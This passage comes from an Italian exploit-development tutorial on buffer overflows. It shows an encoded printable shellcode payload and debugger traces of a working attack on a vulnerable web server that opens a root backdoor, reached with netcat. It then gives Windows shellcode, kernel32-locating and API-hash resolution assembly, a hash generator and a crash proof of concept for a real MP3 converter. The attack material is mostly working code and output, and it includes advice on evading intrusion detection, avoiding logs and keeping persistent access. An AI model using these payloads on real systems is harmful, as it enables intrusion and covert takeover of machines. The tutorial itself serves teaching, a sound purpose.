It6I-It%_-tq%zP-VVVV-nVVV-uSBTP-hzhh-czhc-3zQ4P-NNNx-325oP-XXXX-nPPn-jedxP%JONE%501:-UaUU-5x5x-
5v5eP%JONE%501:-A4AZ-z%Ap-x%LuP-t%%%-j%%%-fB66P%JONE-g%%g-K%%g-%8-mP-__w_-__wH-B8hFP-Nq0--3Q4-P-
5bbB-%nn1-%vr9P-tttB-BBk%-BF4%P-9k9b-PUocP--f----f8--%v5KP-tY%%-wt-u-yqUzP-U0Ux-U%Bx-p%BoP-xUU%-
x%x--s8Y2P-6jD6-5jD5-%L%%P-PuuP-4uuu-%zoYP-2333-%hrMP-_4-4-10-KP-NNz6-llz%-u_z%P-T6T2-u%oT-
x%swP-SSS5-ySS%-tYk%P-JJ51-27-3P-9929-8z%n-As-rP--33m-%%yz-%2szP-vJJJ-vJJ_-o8dvP-fffq-5fPy-
%fQyP-2222-i222-b%V8P-YNNN-vzoN-tzmZP-G5GG-7L-%P-ZZ2Z-lZ-Z-rq%eP-%L7L-%v%d--u3zP-Z6m6-p90BP-
00s0-0FsF-vigFP-yBBB-b2B0-r%76P-%_zz-%_zz-AVbbP-hL5L-yL%h-z17mP-Rx----a-7P-Wd%d-%a-d-4a2QP-11d1-
zad1-u-gNP-tIII-zs00-zZ68P-1111-x11x-oHNvP-qqqv-q2vx-Z%8yP-Vccc-%4cV--%1LP-8R8R-dnPnP-Ih4h-%h%h-
3_%WP-111_-__6x-po9sPPPPPPPPPPPPPPPPPPPPPPPJJ
Done!
Vedete come la stringa risulta completamente stampabile?!
Qui sono fermo all'istruzione ret di handle_connection():
(gdb) stepi
0x080493ea in handle_connection (sockfd=0, client_addr_ptr=0x4a4a4a4a, logfd=1246382666) at
tinywebd.c:136
136 }
(gdb) x/16i $eip
=> 0x80493ea <handle_connection+861>: ret
0x80493eb <get_file_size>: push %ebp
[...]
proseguendo arriviamo nello sled dato che l'indirizzo di ritorno lo abbiamo sovrascritto con un
indirizzo che si trova presumibilmente poco dopo l'inizio del buffer request:
[...]
(gdb) stepi
0xbfffefaa in ?? ()
(gdb) x/25i $eip
=> 0xbfffefaa: dec %edx
0xbfffefab: dec %edx
0xbfffefac: dec %edx
0xbfffefad: dec %edx
0xbfffefae: dec %edx
0xbfffefaf: dec %edx
0xbfffefb0: dec %edx
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 126 di 193
0xbfffefb1: dec %edx
0xbfffefb2: dec %edx
0xbfffefb3: dec %edx
0xbfffefb4: push %esp
0xbfffefb5: pop %eax
0xbfffefb6: sub $0x4a4a4a4a,%eax
0xbfffefbb: sub $0x4a4a4a73,%eax
0xbfffefc0: sub $0x6b6b6a74,%eax
[...]
come vedete lo sled è formato da istruzioni di decremento sul registro edx, poi il loader creerà
la shellcode, proseguiamo fino al suo termine:
[...]
(gdb) x/25i $eip
=> 0xbffff361: sub $0x78365f5f,%eax
0xbffff366: sub $0x73396f70,%eax
0xbffff36b: push %eax
0xbffff36c: push %eax
0xbffff36d: push %eax
0xbffff36e: push %eax
[...]
Viene creato il NOP sled e poi ci si va dentro... creare un buon NOP sled è sempre buona
pratica, perchè anche se ci si trova nello stesso tipo di sistema usato per il test non è detto
tutto sia uguale...
[...]
(gdb) x/25i $eip
=> 0xbffff379: nop
0xbffff37a: nop
0xbffff37b: nop
0xbffff37c: nop
0xbffff37d: nop
0xbffff37e: nop
0xbffff37f: nop
[...]
ed infine ci siamo:
[...]
(gdb) x/25i $eip
=> 0xbffff3a4: nop
0xbffff3a5: nop
0xbffff3a6: nop
0xbffff3a7: nop
0xbffff3a8: nop
0xbffff3a9: nop
0xbffff3aa: nop
0xbffff3ab: nop
0xbffff3ac: nop
0xbffff3ad: xor %ebx,%ebx
0xbffff3af: xor %eax,%eax
0xbffff3b1: mov $0x2,%al
0xbffff3b3: int $0x80
0xbffff3b5: cmp %eax,%ebx
0xbffff3b7: jne 0xbffff3f6
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 127 di 193
[...]
Possiamo fa continuare il programma staccandoci dal processo, vedrete che il server web
continuerà a fornire il suo servizio, mentre, uno dei suoi figli, sta eseguendo la nostra
backdoor.
[...]
gdb) quit
A debugging session is active.
Inferior 1 [process 2445] will be detached.
Quit anyway? (y or n) y
Detaching from program: /root/tinywebd, process 2445
root@Moon:~# netstat -napt
Connessioni internet attive (server e stabiliti)
Proto Recv-Q Send-Q Indirizzo locale Indirizzo esterno Stato PID/Program name
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 2472/tinywebd
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 577/sshd
tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN 966/cupsd
tcp 0 0 0.0.0.0:23 0.0.0.0:* LISTEN 842/inetd
tcp 0 0 0.0.0.0:43690 0.0.0.0:* LISTEN 2472/tinywebd
tcp 0 0 127.0.0.1:80 127.0.0.1:50092 CLOSE_WAIT 2472/tinywebd
tcp6 0 0 :::22 :::* LISTEN 577/sshd
tcp6 0 0 ::1:631 :::* LISTEN 966/cupsd
tcp6 0 0 ::1:38712 :::* LISTEN 2273/java
tcp6 0 0 :::445 :::* LISTEN 533/smbd
tcp6 0 0 :::139 :::* LISTEN 533/smbd
Questo tipo di exploit è particolarmente raffinato e riesce a bypassare la maggior parte dei
sistemi IDS.
Concludiamo mostrando come connettersi alla backdoor, facciamolo proprio da un'altro sistema:
root@HackLab:~# nc -vv 192.168.0.101 43690
192.168.0.101: inverse host lookup failed: Unknown server error : Connection timed out
(UNKNOWN) [192.168.0.101] 43690 (?) open
id
uid=0(root) gid=0(root) groups=0(root)
Bene che facciamo ora? Andiamo a vedere che cosa è stato registrato nei log,
cat /var/log/tinywebd.log
[...]
10/09/2010 12:45:51> Starting up..
10/09/2010 12:51:11> Starting up..
10/09/2010 12:53:07> Starting up..
10/09/2010 12:55:15> Starting up..
Ci sono richieste precedenti e la segnalazione di avvio del server, non c'è nulla che ci
riguarda. Questo perchè siamo andati a sovrascrivere anche il descrittore del file aperto. Se
non fossimo riusciti a farlo, potremmo benissimo pulire il log ora.
A questo punto potremmo ad esempio caricarci un programma ad hoc ed impostarlo come servizio, in
modo che anche dopo un riavvio questo ci permetta di raggiungere il sistema, insomma possiamo
disporre della macchina come vogliamo. Ho dimostrato come prendere il controllo di un web server
vulnerabile, bypassando firewall, sistemi anti-intrusione e senza lasciare tracce.
0x15] (Arch: NT) - Windows e il “dll hell”
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 128 di 193
Up
L’arduo compito che ci spetta è quello di spostarci in ambiente Microsoft Windows per applicare
tutte le conoscenze che abbiamo accumulato fino a questo punto. Fortunatamente, non si tratterà
di ricominciare da zero. I meccanismi che rendono un sistema vulnerabile possono essere presi
universalmente per tutte le architetture. Ciò che cambia, quando ci spostiamo da una
architettura ad un'altra, è il modo con il quale il codice di attacco deve essere composto, le
convenzioni di chiamata e le funzioni stesse utilizzate. L’organizzazione della memoria nei
sistemi operativi rimane grossomodo la stessa limitandosi ad alcune leggere differenze.
Io ho intenzionalmente iniziato da Linux, perché questo offre una possibilità di apprendimento
più elevata rispetto Windows, su Linux non abbiamo a disposizione gli automatismi che si possono
trovare su windows, per questo siamo stati costretti a scendere nel dettaglio su molte
questioni. Così facendo siamo arrivati a sapere con esattezza quello che accade a basso livello
durante un attacco o al verificarsi di una vulnerabilità nel codice, e sappiamo come realizzare
script di attacco in modo completamente manuale.
Su windows esistono più possibilità di automatizzare queste operazioni, ed in più tutto può
essere fatto con programmi muniti di interfaccia utente grafica.
In più, Windows presenta caratteristiche di progettazione interna che lo mette in condizioni di
essere più vulnerabile rispetto ad un sistema come Linux.
Una delle caratteristiche più interessanti dal nostro punto di vista è il “Microsoft DLL
system”. Questo è uno dei punti cruciali che vedremo.
Da questo sistema, derivano varie serie di vulnerabilità oltre quelle legate ai buffer, e per la
sua caratteristica progettuale di lavoro, le dll (Dynamic-link library) sono oggetti che useremo
molto durante la scrittura delle shellcode.
Prima di cominciare ricordo che è bene affrontare in modo approfondito l’architettura di NT, il
formato del PE e il sistema dll. Trovate anche miei documenti al riguardo (su Dll injection e
windows PE) sotto le relative sezioni.
In questa parte darò anche per assunto certe questioni, che dovrebbero essere state acquisite in
modo più che soddisfacente nei capitoli precedenti. Quindi concedetemi da adesso in poi, di
diminuire il livello di dettaglio.
Dunque, vediamo subito di indagare con l’aiuto di strumenti per il debugging, le sostanziali
differenze con il precedente ambiente, cominciamo da un semplice programma che effettua una
chiamata ad un’API (Application programming interface).
Ci troviamo in ambiente Windows XP SP3, non abbiamo perciò a che fare con gli ultimi sistemi di
sicurezza, dopo ce ne preoccuperemo. Il codice in questione si preoccupa di visualizzare una
finestra di messaggio;
#include <windows.h>
int main(int argc, char** argv)
{
MessageBox(NULL,
"Hello Hacker!",
"Message",
MB_OK);
}
Compiliamo e partiamo con immunity debugger. Questo ci inserisce i commenti relativi alla
chiamata dell’API,
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 129 di 193
Quindi possiamo velocemente capire come è composta la convenzione di chiamata per MessageBoxA.
Oltre a questo ci viene segnalato anche che tale API si trova nel modulo “user32.dll”, questo lo
possiamo capire da: “<JMP.&USER32.MessageBoxA>”.
Per capire meglio, sempre nel debugger apriamo la finestra “Exutable modules”,
Vediamo che assieme al nostro eseguibile principale, che per me è “MessageBoxA.exe”, sono stati
caricati altri moduli. E’ il compilatore che si è preso la briga di inserire le informazioni su
quali moduli caricare dentro l’eseguibile, allora, quando il loader di windows caricherà un
programma per l’esecuzione, leggerà nel suo PE le informazioni necessarie e caricherà i suddetti
moduli. Dalla videata capiamo che i file di cui MessageBoxA.exe ha bisogno sono: CRTDLL.dll,
IMM.dll, RPCRT4.dll, GDI32.dll, Secur32.dll, ADVAPI32.dll, kernel32.dll, ntdll.dll e USER32.dll.
Tutti questi contengono codice eseguibile e ognuno, ha ulteriori dipendenze con altri moduli
ancora. Quelli che si vedono in questo caso sono tutti moduli del sistema operativo.
Un’altra videata interessante che mostra ulteriori dettagli riguardo il programma principale e i
moduli è “memory map”.
In questa occasione, ciò che ci interessa è la videata CPU, la principale, e il codice assembly
che il compialtore ha prodotto.
Seguendo questa falsariga, scriviamo l’equivalente assembly per il programma, al fine di
ottenere successivamente una shellcode di test.
Windows carica le dll sempre allo stesso indirizzo, fino alla versione 6.0 di NT, tali indirizzi
non cambiano. Da questa in poi sono state aggiunte funzionalità per la sicurezza come l’ASLR che
caricano le dll ad indirizzi casuali, proprio per evitare che sia possibile eseguire chiamate
API utilizzando i loro indirizzi assoluti.
Noi dobbiamo fare proprio questo; sempre all’interno del debugger seguiamo l’istruzione JMP per
trovare l’indirizzo virtuale di MessageBoxA nel modulo USER32.dll,
poi,
L’indirizzo 0x7E3D07EA, è relativo a MessageBoxA.
Un’alternativa decisamente più pratica è utilizzare il semplice programma “arwin”. Il sorgente
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 130 di 193
arwin.c:
--------- arwin.c ------------------------
#include <windows.h>
#include <stdio.h>
/***************************************
arwin - win32 address resolution program
by steve hanna v.01
vividmachines.com
you are free to modify this code
but please attribute me if you
change the code. bugfixes & additions
are welcome please email me!
to compile:
you will need a win32 compiler with
the win32 SDK
this program finds the absolute address
of a function in a specified DLL.
happy shellcoding!
***************************************/
int main(int argc, char** argv)
{
HMODULE hmod_libname;
FARPROC fprc_func;
printf("arwin - win32 address resolution program - by steve hanna - v.01\n");
if(argc < 3)
{
printf("%s <Library Name> <Function Name>\n",argv[0]);
exit(-1);
}
hmod_libname = LoadLibrary(argv[1]);
if(hmod_libname == NULL)
{
printf("Error: could not load library!\n");
exit(-1);
}
fprc_func = GetProcAddress(hmod_libname,argv[2]);
if(fprc_func == NULL)
{
printf("Error: could find the function in the library!\n");
exit(-1);
}
printf("%s is located at 0x%08x in %s\n",argv[2],(unsigned int)fprc_func,argv[1]);
}
--------- arwin.c END ------------------------
Per ora non ci preoccuperemo di caricare la dll a runtime, ci penserà già il compilatore a
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 131 di 193
farlo, dato che dovremo basarci poi su un progetto C per il test.
Il seguente è il listato assembly per nasm già ottimizzato senza byte nulli:
--------- MessageBoxCode.asm ------------------------
[section .text]
[BITS 32]
global _start
_start:
jmp short GetCaption ; Get caption
CaptionReturn:
pop ebx ; Put caption address in EBX
jmp short GetText ; Get text
TextReturn:
pop ecx ; Put text address in ECX
xor eax, eax ; Set EAX to 0
mov [ebx+0x07], al ; Set terminator character for caption
mov [ecx+0x0d], al ; Set terminator character for text
push eax ; Push null byte [Btn Type = MB_OK]
push ebx ; Push caption addr [title]
push ecx ; Push text addr [text]
push eax ; Push null byte [owner]
mov esi, 0x7e3d07ea ; Move address of MessageBoxA in ESI
call esi ; Jump to MessageBoxA
xor eax, eax ; Set EAX to 0
push eax ; Push exit value
mov eax, 0x7c81cb12 ; Move address od ExitProcess in EAX
call eax ; Jump to ExitProcess
GetCaption:
call CaptionReturn ; Caption
db "MessageX"
GetText:
call TextReturn ; Text
db "Hello hacker!X"
--------- MessageBoxCode.asm END ------------------------
La tecnica utilizzata per ricavare l’indirizzo delle stringhe per titolo e testo già la
conoscete.
Per ottenere gli opcode,
C:\env>nasm MessageBoxCode.asm -o MsgBoxCode.bin
Poi
C:\env>ndisasm MsgBoxCode.bin
00000000 EB21 jmp short 0x23
00000002 5B pop bx
00000003 EB2B jmp short 0x30
00000005 59 pop cx
00000006 31C0 xor ax,ax
00000008 884307 mov [bp+di+0x7],al
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 132 di 193
0000000B 88410D mov [bx+di+0xd],al
0000000E 50 push ax
0000000F 53 push bx
00000010 51 push cx
00000011 50 push ax
00000012 BEEA07 mov si,0x7ea
00000015 3D7EFF cmp ax,0xff7e
00000018 D6 salc
00000019 31C0 xor ax,ax
0000001B 50 push ax
0000001C B812CB mov ax,0xcb12
0000001F 817CFFD0E8 cmp word [si-0x1],0xe8d0
00000024 DA db 0xda
00000025 FF db 0xff
00000026 FF db 0xff
00000027 FF4D65 dec word [di+0x65]
0000002A 7373 jnc 0x9f
0000002C 61 popaw
0000002D 676558 gs a32 pop ax
00000030 E8D0FF call word 0x3
00000033 FF db 0xff
00000034 FF4865 dec word [bx+si+0x65]
00000037 6C insb
00000038 6C insb
00000039 6F outsw
0000003A 206861 and [bx+si+0x61],ch
0000003D 636B65 arpl [bp+di+0x65],bp
00000040 7221 jc 0x63
00000042 58 pop ax
Quindi,
--------- test.c ------------------------
char code[]=
"\xeb\x21\x5b\xeb\x2b\x59\x31\xc0"
"\x88\x43\x07\x88\x41\x0d\x50\x53"
"\x51\x50\xbe\xea\x07\x3d\x7e\xff"
"\xd6\x31\xc0\x50\xb8\x12\xcb\x81"
"\x7c\xff\xd0\xe8\xda\xff\xff\xff"
"\x4d\x65\x73\x73\x61\x67\x65\x58"
"\xe8\xd0\xff\xff\xff\x48\x65\x6c"
"\x6c\x6f\x20\x68\x61\x63\x6b\x65"
"\x72\x21\x58";
int main(int argc, char **argv)
{
int (*func)();
func = (int (*)()) code;
(int)(*func)();
}
--------- test.c END ------------------------
All’esecuzione avremo:
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 133 di 193
Ritornando al discorso fatto sulle dll, diciamo che la shellcode appena vista funzionerà solo se
USER32.dll è mappata in memoria, molte volte non è così, se il programma in cui iniettiamo la
shellcode non necessita della dll in questione il nostro codice non funzionerà.
Inoltre non abbiamo pensato al problema della portabilità, su sistemi operativi windows
differenti, gli indirizzi dove le dll vengono caricate sono diversi per versioni di os.
Dobbiamo produrre codice più indipendente rispetto quello appena visto, esso dovrà preoccuparsi
di caricare le dll di cui ha bisogno.
Riguardando il sorgente arwin.c, capiamo che utilizzando la libreria kernel32.dll e le sue API
LoadLibraryA() e GetProcAddress() possiamo caricarci in memoria qualsiasi modulo che vogliamo e
utilizzare una delle funzioni che essi esportano. Kernel32.dll è una delle più importanti dll di
sistema e come tale, è mappata in tutti i processi, il problema è trovare il suo indirizzo base
a runtime tenendo presente che questo può essere differente da sistema a sistema.
Il documento datato giugno 2003 di “skape” illustra una serie di metodologie in grado di trovare
a seconda del sistema operativo in uso, l’indirizzo di kernel32.dll. Questo può essere fatto
perché in ogni processo, esiste una struttura detta “PEB” (Process environment block) che
contiene informazioni riguardo il processo stesso. Kernel32.dll è sempre presente in questo
elenco come seconda posizione nella lista “InInitializationOrderModuleList”, eccetto per windows
7, per quest’ultimo la tecnica da utilizzare è un’altra.
Ma stando per ora a Win XP dovremo rifarci a questa pratica più antiquata. La suddetta struttura
si trova, sempre, dentro ogni processo all’indirizzo virtuale fs:[0x30].
Una struttura simile è mantenuta anche nello spazio di indirizzi del kernel, chiamata “PCB”
(Kernel process block), ora ci occorre sapere di più della prima; la struttura PEB. Si guardi
anche la struttura ‘TEB’, questa ci interesserà in futuro.
La struttura PEB è composta dai campi seguenti, schematizzati a blocchi:
Image base address
Module list
Thread-local storage data
Code page data
Critical section timeout
Number of heaps
Heap size information
Process heap
GDI shared handle table
Operating system version number information
Image version information
Image process affinity mask
Più nel dettaglio;
typedef struct _PEB {
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
BOOLEAN Spare;
HANDLE Mutant;
PVOID ImageBaseAddress;
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 134 di 193
PPEB_LDR_DATA LoaderData;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
PVOID SubSystemData;
PVOID ProcessHeap;
PVOID FastPebLock;
PPEBLOCKROUTINE FastPebLockRoutine;
PPEBLOCKROUTINE FastPebUnlockRoutine;
ULONG EnvironmentUpdateCount;
PPVOID KernelCallbackTable;
PVOID EventLogSection;
PVOID EventLog;
PPEB_FREE_BLOCK FreeList;
ULONG TlsExpansionCounter;
PVOID TlsBitmap;
ULONG TlsBitmapBits[0x2];
PVOID ReadOnlySharedMemoryBase;
PVOID ReadOnlySharedMemoryHeap;
PPVOID ReadOnlyStaticServerData;
PVOID AnsiCodePageData;
PVOID OemCodePageData;
PVOID UnicodeCaseTableData;
ULONG NumberOfProcessors;
ULONG NtGlobalFlag;
BYTE Spare2[0x4];
LARGE_INTEGER CriticalSectionTimeout;
ULONG HeapSegmentReserve;
ULONG HeapSegmentCommit;
ULONG HeapDeCommitTotalFreeThreshold;
ULONG HeapDeCommitFreeBlockThreshold;
ULONG NumberOfHeaps;
ULONG MaximumNumberOfHeaps;
PPVOID *ProcessHeaps;
PVOID GdiSharedHandleTable;
PVOID ProcessStarterHelper;
PVOID GdiDCAttributeList;
PVOID LoaderLock;
ULONG OSMajorVersion;
ULONG OSMinorVersion;
ULONG OSBuildNumber;
ULONG OSPlatformId;
ULONG ImageSubSystem;
ULONG ImageSubSystemMajorVersion;
ULONG ImageSubSystemMinorVersion;
ULONG GdiHandleBuffer[0x22];
ULONG PostProcessInitRoutine;
ULONG TlsExpansionBitmap;
BYTE TlsExpansionBitmapBits[0x80];
ULONG SessionId;
} PEB, *PPEB;
In particolar modo ci interessa la sotto-struttura seguente:
typedef struct _PEB_LDR_DATA {
ULONG Length;
BOOLEAN Initialized;
PVOID SsHandle;
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 135 di 193
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;
Per windows NT, il codice ideato è il seguente: [From skape, ‘NoLogin – Understanding windows
shellcode paper’]
push esi
xor eax, eax
mov eax, [fs:eax+0x30]
mov eax, [eax + 0x0c]
mov esi, [eax + 0x1c]
lodsd
mov eax, [eax + 0x8]
pop esi
ret
Una versione più estesa che include anche windows 95 e 98 è invece questa:
find_kernel32:
push esi
xor eax, eax
mov eax, [fs:eax+0x30]
test eax, eax
js find_kernel32_9x
find_kernel32_nt:
mov eax, [eax + 0x0c]
mov esi, [eax + 0x1c]
lodsd
mov eax, [eax + 0x8]
jmp find_kernel32_finished
find_kernel32_9x:
mov eax, [eax + 0x34]
lea eax, [eax + 0x7c]
mov eax, [eax + 0x3c]
find_kernel32_finished:
pop esi
ret
Alla fine dell’esecuzione di questo codice, l’indirizzo di kernel32.dll si troverà in EAX.
Su Windows 7 kernel32.dll non si trova nella seconda entry ma nella terza, il codice può essere
perciò modificato e reso compatibile per tutte le versioni, da windows 2000 a windows 7, questa
modifica è stata apportata dal gruppo “harmonysecurity.com”
[BITS 32]
push esi
xor eax, eax ; clear eax
xor ebx, ebx ; clear ebx
mov bl,0x30 ; set ebx to 0x30
mov eax, [fs: ebx ] ; get a pointer to the PEB (no null bytes)
mov eax, [ eax + 0x0C ] ; get PEB->Ldr
mov eax, [ eax + 0x14 ] ; get PEB->Ldr.InMemoryOrderModuleList.Flink (1st entry)
push eax
pop esi
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 136 di 193
mov eax, [ esi ] ; get the next entry (2nd entry)
push eax
pop esi
mov eax, [ esi ] ; get the next entry (3rd entry)
mov eax, [ eax + 0x10 ] ; get the 3rd entries base address (kernel32.dll)
pop esi
Una volta che abbiamo l’indirizzo base di kernel32.dll dobbiamo ricavare gli indirizzi delle due
funzioni, LoadLibraryA e GetProcAddress, il problema è che per farlo, dovremmo usare
GetProcAddress ...
E’ stato quindi pensato un modo alternativo, purtroppo non è un sistema pratico e semplice,
occorre utilizzare l’export directory della dll kernel32 per trovare il simbolo di
GetProcAddress e poi risolverlo. La export directory è una tabella che contiene il numero del
simbolo (l’ordinal) e l’indirizzo relativo (RVA) della funzione. Al fine di risolvere questo
simbolo dobbiamo percorrere tutta la tabella alla ricerca di quello relativo a GetProcAddress.
Dato che confrontare l’intera stringa del nome della funzione rende molto più lungo il codice,
si preferisce nella maggior parte dei casi, utilizzare gli hash. Questo hash (valore) si calcola
nel seguente modo:
- Occorre l’indice del simbolo in relazione alla matrice degli ordinal
- Questo indice viene usato assieme all’array di funzioni per produrre l’indirizzo virtuale
relativo al simbolo.
- Si aggiunge l’indirizzo base della dll a questo RVA, ottenendo un VMA, (indirizzo di
memoria virtuale) della funzione.
Il listato seguente mostra come trovare l’indirizzo desiderato partendo da un hash, il codice
per trovare l’hash lo vediamo tra un attimo,
find_function:
pushad ;save all registers
mov ebp, [esp+0x24] ;put base address of module that is being
;loaded in ebp
mov eax, [ebp+0x3c] ;skip over MSDOS header
mov edx, [ebp+eax+0x78] ;go to export table and put relative address
;in edx
add edx, ebp ;add base address to it.
;edx = absolute address of export table
mov ecx, [edx+0x18] ;set up counter ECX
;(how many exported items are in array ?)
mov ebx, [edx+0x20] ;put names table relative offset in ebx
add ebx, ebp ;add base address to it.
;ebx = absolute address of names table
find_function_loop:
jecxz find_function_finished ;if ecx=0, then last symbol has been checked.
;(should never happen)
;unless function could not be found
dec ecx ;ecx=ecx-1
mov esi, [ebx+ecx*4] ;get relative offset of the name associated
;with the current symbol
;and store offset in esi
add esi, ebp ;add base address.
;esi = absolute address of current symbol
compute_hash:
xor edi, edi ;zero out edi
xor eax, eax ;zero out eax
cld ;clear direction flag.
;will make sure that it increments instead of
;decrements when using lods*
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 137 di 193
compute_hash_again:
lodsb ;load bytes at esi (current symbol name)
;into al, + increment esi
test al, al ;bitwise test :
;see if end of string has been reached
jz compute_hash_finished ;if zero flag is set = end of string reached
ror edi, 0xd ;if zero flag is not set, rotate current
;value of hash 13 bits to the right
add edi, eax ;add current character of symbol name
;to hash accumulator
jmp compute_hash_again ;continue loop
compute_hash_finished:
find_function_compare:
cmp edi, [esp+0x28] ;see if computed hash matches requested hash (at esp+0x28)
jnz find_function_loop ;no match, go to next symbol
mov ebx, [edx+0x24] ;if match : extract ordinals table
;relative offset and put in ebx
add ebx, ebp ;add base address.
;ebx = absolute address of ordinals address table
mov cx, [ebx+2*ecx] ;get current symbol ordinal number (2 bytes)
mov ebx, [edx+0x1c] ;get address table relative and put in ebx
add ebx, ebp ;add base address.
;ebx = absolute address of address table
mov eax, [ebx+4*ecx] ;get relative f. Off. from its ordinal and put in eax
add eax, ebp ;add base address.
;eax = absolute address of function address
mov [esp+0x1c], eax ;overwrite stack copy of eax so popad
;will return function address in eax
find_function_finished:
popad ;retrieve original registers.
;eax will contain function address
ret ;only needed if code was not used inline
Supponendo che il puntatore all’hash è stato inserito nello stack con push, possiamo utilizzare
il codice seguente per chiamare la procedura suddetta:
pop esi ;take pointer to hash from stack and put it in esi
lodsd ;load the hash itself into eax (pointed to by esi)
push eax ;push hash to stack
push edx ;push base address of dll to stack
call find_function
Quando find_function ritorna, l’indirizzo della funzione si troverà in EAX.
Abbiamo precedentemente detto, che per localizzare l’indirizzo di una funzione nel modo appena
visto, ci occorre il suo hash. La ricerca di questo può essere fatta a parte, non c’è bisogno di
inserire il codice necessario nell’exploit.
Un sorgente per il calcolo del valore hash è il seguente:
--------- GenerateHash.c ------------------------
//written by Rick2600 rick2600s[at]gmail{dot}com
//tweaked just a little by Peter Van Eeckhoutte
//http://www.corelan.be:8800
//This script will produce a hash for a given function name
//If no arguments are given, a list with some common function
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 138 di 193
//names and their corresponding hashes will be displayed
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
long rol(long value, int n);
long ror(long value, int n);
long calculate_hash(char *function_name);
void banner();
int main(int argc, char *argv[])
{
banner();
if (argc < 2)
{
int i=0;
char *func[] =
{
"FatalAppExitA",
"LoadLibraryA",
"GetProcAddress",
"WriteFile",
"CloseHandle",
"Sleep",
"ReadFile",
"GetStdHandle",
"CreatePipe",
"SetHandleInformation",
"WinExec",
"ExitProcess",
0x0
};
printf("HASH\t\t\tFUNCTION\n----\t\t\t--------\n");
while ( *func )
{
printf("0x%X\t\t%s\n", calculate_hash(*func), *func);
i++;
*func = func[i];
}
}
else
{
char *manfunc[] = {argv[1]};
printf("HASH\t\t\tFUNCTION\n----\t\t\t--------\n");
printf("0x%X\t\t%s\n", calculate_hash(*manfunc), *manfunc);
}
return 0;
}
long
calculate_hash( char *function_name )
{
int aux = 0;
unsigned long hash = 0;
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 139 di 193
while (*function_name)
{
hash = ror(hash, 13);
hash += *function_name;
*function_name++;
}
while ( hash > 0 )
{
aux = aux << 8;
aux += (hash & 0x00000FF);
hash = hash >> 8;
}
hash = aux;
return hash;
}
long rol(long value, int n)
{
__asm__ ("rol %%cl, %%eax"
: "=a" (value)
: "a" (value), "c" (n)
);
return value;
}
long ror(long value, int n)
{
__asm__ ("ror %%cl, %%eax"
: "=a" (value)
: "a" (value), "c" (n)
);
return value;
}
void banner()
{
printf("----------------------------------------------\n");
printf(" --==[ GenerateHash v1.0 ]==--\n");
printf(" written by rick2600 and Peter Van Eeckhoutte\n");
printf(" http://www.corelan.be:8800\n");
printf("----------------------------------------------\n");
}
--------- GenerateHash.c END ------------------------
Se non viene specificato argomento, l’output del programma è simile a questo:
----------------------------------------------
--==[ GenerateHash v1.0 ]==--
written by rick2600 and Peter Van Eeckhoutte
http://www.corelan.be:8800
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 140 di 193
----------------------------------------------
HASH FUNCTION
---- --------
0x577F2962 FatalAppExitA
0x8E4E0EEC LoadLibraryA
0xAAFC0D7C GetProcAddress
0x1F790AE8 WriteFile
0xFB97FD0F CloseHandle
0xB0492DDB Sleep
0x1665FA10 ReadFile
0x23D88774 GetStdHandle
0x808F0C17 CreatePipe
0x44119E7F SetHandleInformation
0x98FE8A0E WinExec
0x7ED8E273 ExitProcess
Ora che abbiamo tutti gli elementi necessari, possiamo produrre una shellcode che funzioni in
modo indipendente.
Riepilogando, le cose che dobbiamo fare sono:
- Utilizzare l’algoritmo di skape per localizzare l’indirizzo di kernel32.
- Ricavare dalla tabella di esportazione di kernel32 gli indirizzi di cui abbiamo bisogno, ad
esempio LoadLibrary, ExitProcess, etc ... non siamo obbligati ad usare GetProcAddress.
- Caricare gli eventuali altri moduli che ci occorrono.
- A questo punto possiamo chiamare qualsiasi API che vogliamo utilizzare per il nostro shellcode
Queste erano le informazioni minime necessarie per comprendere come realizzare delle shellcode
base per windows.
0x16] (Arch: NT) – Stack based overflow exploit
Up
Vediamo ora come si tratta un vulnerabilità comune in ambiente windows. Il problema è del tipo
più comune “stack-based”.
Il programma che prendiamo in esame è “Easy RM to MP3 Converter” versione 2.7.3.700. Questo è
una utility per la conversione di file audio. Lo sfondamento del buffer si verifica quando si
tenta di aprire un file “.m3u” con all’interno 20000 – 30000 caratteri.
Il test;
creiamo un file m3u e lo riempiamo con una stringa lunga 100000 char. Ad esempio ‘A’*100000.
Con perl,
my $file= "crash.m3u";
my $junk= "A" x 100000;
open($FILE,">$file");
print $FILE $junk;
close($FILE);
print "Create crash file succesfully";
Lo apriamo con il programma tenendo quest’ultimo sotto controllo con un debugger, quale windbg o
Immunity dbg.
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 141 di 193
